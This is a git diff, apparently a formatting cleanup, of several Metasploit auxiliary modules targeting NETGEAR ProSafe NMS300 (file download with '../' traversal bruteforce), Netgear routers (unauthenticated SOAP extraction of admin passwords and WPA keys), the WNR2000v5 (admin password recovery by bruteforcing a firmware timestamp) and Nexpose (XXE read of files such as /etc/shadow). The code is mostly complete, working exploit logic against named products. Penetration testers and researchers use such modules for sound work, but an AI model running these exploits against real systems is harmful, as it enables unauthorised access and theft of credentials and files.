info,
|
||||
'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download',
|
||||
'Description' => %q{
|
||||
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
|
||||
The application has a file download vulnerability that can be exploited by an
|
||||
authenticated remote attacker to download any file in the system.
|
||||
This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
|
||||
},
|
||||
'Author' => [
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2016-1524'],
|
||||
['US-CERT-VU', '777024'],
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],
|
||||
['URL', 'https://seclists.org/fulldisclosure/2016/Feb/30']
|
||||
],
|
||||
'DisclosureDate' => '2016-02-04'))
|
||||
'DisclosureDate' => '2016-02-04'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [true, "Application path", '/']),
|
||||
OptString.new('TARGETURI', [true, 'Application path', '/']),
|
||||
OptString.new('USERNAME', [true, 'The username to login as', 'admin']),
|
||||
OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),
|
||||
OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']),
|
||||
])
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('DEPTH', [false, 'Max depth to traverse', 15])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def authenticate
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'userName' => datastore['USERNAME'],
|
||||
|
@ -61,13 +65,13 @@ class MetasploitModule < Msf::Auxiliary
|
|||
if res.body.to_s =~ /"loginOther":true/ && res.body.to_s =~ /"singleId":"([A-Z0-9]*)"/
|
||||
# another admin is logged in, let's kick him out
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'vars_post' => { 'singleId' => $1 },
|
||||
'vars_post' => { 'singleId' => ::Regexp.last_match(1) },
|
||||
'vars_get' => { 'method' => 'loginAgain' }
|
||||
})
|
||||
if res && res.code == 200 && (not res.body.to_s =~ /"success":true/)
|
||||
if res && res.code == 200 && (res.body.to_s !~ /"success":true/)
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
@ -76,9 +80,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return nil
|
||||
end
|
||||
|
||||
|
||||
def download_file (download_path, cookie)
|
||||
filename = Rex::Text.rand_text_alphanumeric(8 + rand(10)) + ".img"
|
||||
def download_file(download_path, cookie)
|
||||
filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.img'
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
@ -91,12 +94,12 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'realName' => download_path,
|
||||
'md5' => '',
|
||||
'fileName' => filename,
|
||||
'version' => Rex::Text.rand_text_alphanumeric(8 + rand(2)),
|
||||
'vendor' => Rex::Text.rand_text_alphanumeric(4 + rand(3)),
|
||||
'version' => Rex::Text.rand_text_alphanumeric(rand(8..9)),
|
||||
'vendor' => Rex::Text.rand_text_alphanumeric(rand(4..6)),
|
||||
'deviceType' => rand(999),
|
||||
'deviceModel' => Rex::Text.rand_text_alphanumeric(5 + rand(3)),
|
||||
'description' => Rex::Text.rand_text_alphanumeric(8 + rand(10))
|
||||
},
|
||||
'deviceModel' => Rex::Text.rand_text_alphanumeric(rand(5..7)),
|
||||
'description' => Rex::Text.rand_text_alphanumeric(rand(8..17))
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /"success":true/
|
||||
|
@ -106,17 +109,17 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'getPage.do'),
|
||||
'vars_get' => {
|
||||
'method' => 'getPageList',
|
||||
'type' => 'configImgManager',
|
||||
'type' => 'configImgManager'
|
||||
},
|
||||
'vars_post' => {
|
||||
'everyPage' => 500 + rand(999)
|
||||
},
|
||||
'everyPage' => rand(500..1498)
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /"imageId":"([0-9]*)","fileName":"#{filename}"/
|
||||
image_id = $1
|
||||
image_id = ::Regexp.last_match(1)
|
||||
return send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
|
@ -133,7 +136,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
def save_file(filedata)
|
||||
vprint_line(filedata.to_s)
|
||||
fname = File.basename(datastore['FILEPATH'])
|
||||
|
@ -150,7 +152,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def run
|
||||
cookie = authenticate
|
||||
if cookie == nil
|
||||
if cookie.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")
|
||||
else
|
||||
print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.")
|
||||
|
@ -164,22 +166,18 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
filepath = datastore['FILEPATH']
|
||||
res = download_file(filepath, cookie)
|
||||
if res && res.code == 200
|
||||
if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
|
||||
save_file(res.body)
|
||||
return
|
||||
end
|
||||
if res && res.code == 200 && (res.body.to_s.bytesize != 0 && (res.body.to_s !~ /This file does not exist./) && (res.body.to_s !~ /operation is failed/))
|
||||
save_file(res.body)
|
||||
return
|
||||
end
|
||||
|
||||
print_error("#{peer} - File not found, using bruteforce to attempt to download the file")
|
||||
count = 1
|
||||
while count < datastore['DEPTH']
|
||||
res = download_file(("../" * count).chomp('/') + filepath, cookie)
|
||||
if res && res.code == 200
|
||||
if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
|
||||
save_file(res.body)
|
||||
return
|
||||
end
|
||||
res = download_file(('../' * count).chomp('/') + filepath, cookie)
|
||||
if res && res.code == 200 && (res.body.to_s.bytesize != 0 && (res.body.to_s !~ /This file does not exist./) && (res.body.to_s !~ /operation is failed/))
|
||||
save_file(res.body)
|
||||
return
|
||||
end
|
||||
count += 1
|
||||
end
|
||||
|
|
|
@ -9,7 +9,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Netgear Unauthenticated SOAP Password Extractor',
|
||||
'Name' => 'Netgear Unauthenticated SOAP Password Extractor',
|
||||
'Description' => %q{
|
||||
This module exploits an authentication bypass vulnerability in different Netgear devices.
|
||||
It allows to extract the password for the remote management interface. This module has been
|
||||
|
@ -26,119 +26,114 @@ class MetasploitModule < Msf::Auxiliary
|
|||
NetGear WNR1000v2 - V1.1.2.58 (Tested by Chris Boulton),
|
||||
NetGear WNR2000v3 - v1.1.2.10 (Tested by h00die)
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'BID', '72640' ],
|
||||
[ 'OSVDB', '118316' ],
|
||||
[ 'URL', 'https://github.com/darkarnium/secpub/tree/master/Vulnerabilities/NetGear/SOAPWNDR' ]
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
|
||||
'h00die <mike@shorebreaksecurity.com>' # Metasploit enhancements/docs
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'BID', '72640' ],
|
||||
[ 'OSVDB', '118316' ],
|
||||
[ 'URL', 'https://github.com/darkarnium/secpub/tree/master/Vulnerabilities/NetGear/SOAPWNDR' ]
|
||||
],
|
||||
'Author' => [
|
||||
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
|
||||
'h00die <mike@shorebreaksecurity.com>' # Metasploit enhancements/docs
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Feb 11 2015'
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Trying to access the configuration of the device")
|
||||
print_status('Trying to access the configuration of the device')
|
||||
|
||||
# extract device details
|
||||
action = 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo'
|
||||
print_status("Extracting Firmware version...")
|
||||
print_status('Extracting Firmware version...')
|
||||
extract_data(action)
|
||||
|
||||
# extract credentials
|
||||
action = 'urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo'
|
||||
print_status("Extracting credentials...")
|
||||
print_status('Extracting credentials...')
|
||||
extract_data(action)
|
||||
|
||||
# extract wifi info
|
||||
action = 'urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetInfo'
|
||||
print_status("Extracting Wifi...")
|
||||
print_status('Extracting Wifi...')
|
||||
extract_data(action)
|
||||
|
||||
# extract WPA info
|
||||
action = 'urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetWPASecurityKeys'
|
||||
print_status("Extracting WPA Keys...")
|
||||
print_status('Extracting WPA Keys...')
|
||||
extract_data(action)
|
||||
end
|
||||
|
||||
def extract_data(soap_action)
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => '/',
|
||||
'headers' => {
|
||||
'SOAPAction' => soap_action,
|
||||
},
|
||||
'data' => '='
|
||||
})
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => '/',
|
||||
'headers' => {
|
||||
'SOAPAction' => soap_action
|
||||
},
|
||||
'data' => '='
|
||||
})
|
||||
|
||||
return if res.nil?
|
||||
return if res.code == 404
|
||||
return if res.headers['Server'].nil?
|
||||
# unknown if other devices have other Server headers
|
||||
return if res.headers['Server'] !~ /Linux\/2.6.15 uhttpd\/1.0.0 soap\/1.0/
|
||||
return if res.nil?
|
||||
return if res.code == 404
|
||||
return if res.headers['Server'].nil?
|
||||
# unknown if other devices have other Server headers
|
||||
return if res.headers['Server'] !~ %r{Linux/2.6.15 uhttpd/1.0.0 soap/1.0}
|
||||
|
||||
if res.body =~ /<NewPassword>(.*)<\/NewPassword>/
|
||||
print_status("Credentials found, extracting...")
|
||||
extract_credentials(res.body)
|
||||
end
|
||||
|
||||
if res.body =~ /<ModelName>(.*)<\/ModelName>/
|
||||
model_name = $1
|
||||
print_good("Model #{model_name} found")
|
||||
end
|
||||
|
||||
if res.body =~ /<Firmwareversion>(.*)<\/Firmwareversion>/
|
||||
firmware_version = $1
|
||||
print_good("Firmware version #{firmware_version} found")
|
||||
|
||||
#store all details as loot
|
||||
loot = store_loot('netgear_soap_device.config', 'text/plain', rhost, res.body)
|
||||
print_good("Device details downloaded to: #{loot}")
|
||||
end
|
||||
|
||||
if res.body =~ /<NewSSID>(.*)<\/NewSSID>/
|
||||
ssid = $1
|
||||
print_good("Wifi SSID: #{ssid}")
|
||||
end
|
||||
|
||||
if res.body =~ /<NewBasicEncryptionModes>(.*)<\/NewBasicEncryptionModes>/
|
||||
wifi_encryption = $1
|
||||
print_good("Wifi Encryption: #{wifi_encryption}")
|
||||
end
|
||||
|
||||
if res.body =~ /<NewWPAPassphrase>(.*)<\/NewWPAPassphrase>/
|
||||
wifi_password = $1
|
||||
print_good("Wifi Password: #{wifi_password}")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("Failed to connect to the web server")
|
||||
return
|
||||
if res.body =~ %r{<NewPassword>(.*)</NewPassword>}
|
||||
print_status('Credentials found, extracting...')
|
||||
extract_credentials(res.body)
|
||||
end
|
||||
|
||||
if res.body =~ %r{<ModelName>(.*)</ModelName>}
|
||||
model_name = ::Regexp.last_match(1)
|
||||
print_good("Model #{model_name} found")
|
||||
end
|
||||
|
||||
if res.body =~ %r{<Firmwareversion>(.*)</Firmwareversion>}
|
||||
firmware_version = ::Regexp.last_match(1)
|
||||
print_good("Firmware version #{firmware_version} found")
|
||||
|
||||
# store all details as loot
|
||||
loot = store_loot('netgear_soap_device.config', 'text/plain', rhost, res.body)
|
||||
print_good("Device details downloaded to: #{loot}")
|
||||
end
|
||||
|
||||
if res.body =~ %r{<NewSSID>(.*)</NewSSID>}
|
||||
ssid = ::Regexp.last_match(1)
|
||||
print_good("Wifi SSID: #{ssid}")
|
||||
end
|
||||
|
||||
if res.body =~ %r{<NewBasicEncryptionModes>(.*)</NewBasicEncryptionModes>}
|
||||
wifi_encryption = ::Regexp.last_match(1)
|
||||
print_good("Wifi Encryption: #{wifi_encryption}")
|
||||
end
|
||||
|
||||
if res.body =~ %r{<NewWPAPassphrase>(.*)</NewWPAPassphrase>}
|
||||
wifi_password = ::Regexp.last_match(1)
|
||||
print_good("Wifi Password: #{wifi_password}")
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error('Failed to connect to the web server')
|
||||
return
|
||||
end
|
||||
|
||||
def extract_credentials(body)
|
||||
body.each_line do |line|
|
||||
if line =~ /<NewPassword>(.*)<\/NewPassword>/
|
||||
pass = $1
|
||||
print_good("admin / #{pass} credentials found")
|
||||
next unless line =~ %r{<NewPassword>(.*)</NewPassword>}
|
||||
|
||||
connection_details = {
|
||||
module_fullname: self.fullname,
|
||||
private_data: pass,
|
||||
private_type: :password,
|
||||
username: 'admin',
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_details)
|
||||
create_credential_and_login(connection_details)
|
||||
end
|
||||
pass = ::Regexp.last_match(1)
|
||||
print_good("admin / #{pass} credentials found")
|
||||
|
||||
connection_details = {
|
||||
module_fullname: fullname,
|
||||
private_data: pass,
|
||||
private_type: :password,
|
||||
username: 'admin',
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_details)
|
||||
create_credential_and_login(connection_details)
|
||||
end
|
||||
|
||||
# store all details as loot
|
||||
|
|
|
@ -10,47 +10,51 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::CRand
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery',
|
||||
'Description' => %q{
|
||||
The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery.
|
||||
This vulnerability can be exploited by an unauthenticated attacker who is able to guess
|
||||
the value of a certain timestamp which is in the configuration of the router.
|
||||
Brute forcing the timestamp token might take a few minutes, a few hours, or days, but
|
||||
it is guaranteed that it can be bruteforced.
|
||||
This module works very reliably and it has been tested with the WNR2000v5, firmware versions
|
||||
1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this
|
||||
has not been tested.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery',
|
||||
'Description' => %q{
|
||||
The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery.
|
||||
This vulnerability can be exploited by an unauthenticated attacker who is able to guess
|
||||
the value of a certain timestamp which is in the configuration of the router.
|
||||
Brute forcing the timestamp token might take a few minutes, a few hours, or days, but
|
||||
it is guaranteed that it can be bruteforced.
|
||||
This module works very reliably and it has been tested with the WNR2000v5, firmware versions
|
||||
1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this
|
||||
has not been tested.
|
||||
},
|
||||
'Author' => [
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2016-10175'],
|
||||
['CVE', '2016-10176'],
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
|
||||
['URL', 'https://seclists.org/fulldisclosure/2016/Dec/72'],
|
||||
['URL', 'https://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
|
||||
],
|
||||
'DisclosureDate' => '2016-12-20'))
|
||||
'DisclosureDate' => '2016-12-20'
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80)
|
||||
])
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
|
||||
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def get_current_time
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res['Date']
|
||||
date = res['Date']
|
||||
|
@ -62,76 +66,75 @@ class MetasploitModule < Msf::Auxiliary
|
|||
# back to an integer.
|
||||
# This emulates the behaviour of the soft-fp library and the float cast
|
||||
# which is done at the end of Netgear's timestamp generator.
|
||||
def ieee754_round (number)
|
||||
def ieee754_round(number)
|
||||
[number].pack('f').unpack('f*')[0].to_i
|
||||
end
|
||||
|
||||
|
||||
# This is the actual algorithm used in the get_timestamp function in
|
||||
# the Netgear firmware.
|
||||
def get_timestamp(time)
|
||||
srandom_r time
|
||||
t0 = random_r
|
||||
t1 = 0x17dc65df;
|
||||
hi = (t0 * t1) >> 32;
|
||||
t2 = t0 >> 31;
|
||||
t3 = hi >> 23;
|
||||
t3 = t3 - t2;
|
||||
t4 = t3 * 0x55d4a80;
|
||||
t0 = t0 - t4;
|
||||
t0 = t0 + 0x989680;
|
||||
t1 = 0x17dc65df
|
||||
hi = (t0 * t1) >> 32
|
||||
t2 = t0 >> 31
|
||||
t3 = hi >> 23
|
||||
t3 -= t2
|
||||
t4 = t3 * 0x55d4a80
|
||||
t0 -= t4
|
||||
t0 += 0x989680
|
||||
|
||||
ieee754_round(t0)
|
||||
end
|
||||
|
||||
def get_creds
|
||||
res = send_request_cgi({
|
||||
'uri' => '/BRS_netgear_success.html',
|
||||
'method' => 'GET'
|
||||
'uri' => '/BRS_netgear_success.html',
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res.body =~ /var sn="([\w]*)";/
|
||||
serial = $1
|
||||
if res && res.body =~ /var sn="(\w*)";/
|
||||
serial = ::Regexp.last_match(1)
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...")
|
||||
end
|
||||
|
||||
# 1: send serial number
|
||||
send_request_cgi({
|
||||
'uri' => '/apply_noauth.cgi',
|
||||
'query' => '/unauth.cgi',
|
||||
'method' => 'POST',
|
||||
'uri' => '/apply_noauth.cgi',
|
||||
'query' => '/unauth.cgi',
|
||||
'method' => 'POST',
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' =>
|
||||
{
|
||||
'submit_flag' => 'match_sn',
|
||||
'serial_num' => serial,
|
||||
'continue' => '+Continue+'
|
||||
'serial_num' => serial,
|
||||
'continue' => '+Continue+'
|
||||
}
|
||||
})
|
||||
|
||||
# 2: send answer to secret questions
|
||||
send_request_cgi({
|
||||
'uri' => '/apply_noauth.cgi',
|
||||
'query' => '/securityquestions.cgi',
|
||||
'method' => 'POST',
|
||||
'uri' => '/apply_noauth.cgi',
|
||||
'query' => '/securityquestions.cgi',
|
||||
'method' => 'POST',
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' =>
|
||||
{
|
||||
'submit_flag' => 'security_question',
|
||||
'answer1' => @q1,
|
||||
'answer2' => @q2,
|
||||
'continue' => '+Continue+'
|
||||
'answer1' => @q1,
|
||||
'answer2' => @q2,
|
||||
'continue' => '+Continue+'
|
||||
}
|
||||
})
|
||||
|
||||
# 3: PROFIT!!!
|
||||
res = send_request_cgi({
|
||||
'uri' => '/passwordrecovered.cgi',
|
||||
'method' => 'GET'
|
||||
'uri' => '/passwordrecovered.cgi',
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && res.body =~ /Admin Password: (.*)<\/TD>/
|
||||
password = $1
|
||||
if res && res.body =~ %r{Admin Password: (.*)</TD>}
|
||||
password = ::Regexp.last_match(1)
|
||||
if password.blank?
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password! Perhaps security questions were already set?")
|
||||
end
|
||||
|
@ -139,8 +142,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password")
|
||||
end
|
||||
|
||||
if res && res.body =~ /Admin Username: (.*)<\/TD>/
|
||||
username = $1
|
||||
if res && res.body =~ %r{Admin Username: (.*)</TD>}
|
||||
username = ::Regexp.last_match(1)
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain username")
|
||||
end
|
||||
|
@ -149,27 +152,27 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def send_req(timestamp)
|
||||
begin
|
||||
query_str = (timestamp == nil ? \
|
||||
'/PWD_password.htm' : \
|
||||
"/PWD_password.htm%20timestamp=#{timestamp.to_s}")
|
||||
res = send_request_raw({
|
||||
'uri' => '/apply_noauth.cgi',
|
||||
'query' => query_str,
|
||||
'method' => 'POST',
|
||||
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
|
||||
'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}"
|
||||
})
|
||||
return res
|
||||
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
||||
return
|
||||
end
|
||||
query_str = (if timestamp.nil?
|
||||
'/PWD_password.htm'
|
||||
else
|
||||
"/PWD_password.htm%20timestamp=#{timestamp}"
|
||||
end)
|
||||
res = send_request_raw({
|
||||
'uri' => '/apply_noauth.cgi',
|
||||
'query' => query_str,
|
||||
'method' => 'POST',
|
||||
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
|
||||
'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}"
|
||||
})
|
||||
return res
|
||||
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
||||
return
|
||||
end
|
||||
|
||||
def run
|
||||
# generate the security questions
|
||||
@q1 = Rex::Text.rand_text_alpha(rand(20) + 2)
|
||||
@q2 = Rex::Text.rand_text_alpha(rand(20) + 2)
|
||||
@q1 = Rex::Text.rand_text_alpha(rand(2..21))
|
||||
@q2 = Rex::Text.rand_text_alpha(rand(2..21))
|
||||
|
||||
# let's try without timestamp first (the timestamp only gets set if the user visited the page before)
|
||||
print_status("#{peer} - Trying the easy way out first")
|
||||
|
@ -185,7 +188,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
# get the current date from the router and parse it
|
||||
end_time = get_current_time
|
||||
if end_time == nil
|
||||
if end_time.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
|
||||
end
|
||||
if end_time <= datastore['TIME_OFFSET']
|
||||
|
@ -203,7 +206,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")
|
||||
|
||||
# work back from the current router time minus datastore['TIME_OFFSET']
|
||||
while true
|
||||
loop do
|
||||
for time in end_time.downto(start_time)
|
||||
timestamp = get_timestamp(time)
|
||||
sleep 0.1
|
||||
|
@ -211,12 +214,12 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_status("#{peer} - Still working, trying time #{time}")
|
||||
end
|
||||
res = send_req(timestamp)
|
||||
if res && res.code == 200
|
||||
credentials = get_creds
|
||||
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
|
||||
store_valid_credential(user: credentials[0], private: credentials[1]) # more consistent service_name and protocol, now supplies ip and port
|
||||
return
|
||||
end
|
||||
next unless res && res.code == 200
|
||||
|
||||
credentials = get_creds
|
||||
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
|
||||
store_valid_credential(user: credentials[0], private: credentials[1]) # more consistent service_name and protocol, now supplies ip and port
|
||||
return
|
||||
end
|
||||
end_time = start_time
|
||||
start_time -= datastore['TIME_OFFSET']
|
||||
|
|
|
@ -10,37 +10,39 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Nexpose XXE Arbitrary File Read',
|
||||
'Description' => %q{
|
||||
Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number
|
||||
of vectors. This vulnerability can allow an attacker to a craft special XML that
|
||||
could read arbitrary files from the filesystem. This module exploits the
|
||||
vulnerability via the XML API.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module
|
||||
'Drazen Popovic <drazen.popvic[at]infigo.hr>', # Independent discovery, alternate vector
|
||||
'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>' # Independently reported
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Nexpose XXE Arbitrary File Read',
|
||||
'Description' => %q{
|
||||
Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number
|
||||
of vectors. This vulnerability can allow an attacker to a craft special XML that
|
||||
could read arbitrary files from the filesystem. This module exploits the
|
||||
vulnerability via the XML API.
|
||||
},
|
||||
'Author' => [
|
||||
'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module
|
||||
'Drazen Popovic <drazen.popvic[at]infigo.hr>', # Independent discovery, alternate vector
|
||||
'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>' # Independently reported
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'URL', 'https://www.rapid7.com/blog/post/2013/08/16/r7-vuln-2013-07-24/' ]
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true
|
||||
}
|
||||
))
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(3780),
|
||||
OptString.new('USERNAME', [true, "The Nexpose user", nil]),
|
||||
OptString.new('PASSWORD', [true, "The Nexpose password", nil]),
|
||||
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"])
|
||||
])
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(3780),
|
||||
OptString.new('USERNAME', [true, 'The Nexpose user', nil]),
|
||||
OptString.new('PASSWORD', [true, 'The Nexpose password', nil]),
|
||||
OptString.new('FILEPATH', [true, 'The filepath to read on the server', '/etc/shadow'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
|
@ -50,27 +52,26 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
nsc = Nexpose::Connection.new(rhost, user, pass, rport, nil, nil, trust_store)
|
||||
|
||||
print_status("Authenticating as: " << user)
|
||||
print_status('Authenticating as: ' << user)
|
||||
begin
|
||||
nsc.login
|
||||
|
||||
connection_details = {
|
||||
module_fullname: self.fullname,
|
||||
username: user,
|
||||
private_data: pass,
|
||||
private_type: :password,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
module_fullname: fullname,
|
||||
username: user,
|
||||
private_data: pass,
|
||||
private_type: :password,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_details)
|
||||
create_credential_and_login(connection_details)
|
||||
|
||||
rescue
|
||||
print_error("Error authenticating, check your credentials")
|
||||
rescue StandardError
|
||||
print_error('Error authenticating, check your credentials')
|
||||
return
|
||||
end
|
||||
|
||||
xml = '<!DOCTYPE foo ['
|
||||
xml << '<!ELEMENT host ANY>'
|
||||
xml << %Q{<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">}
|
||||
xml << %(<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">)
|
||||
xml << ']>'
|
||||
xml << '<SiteSaveRequest session-id="'
|
||||
|
||||
|
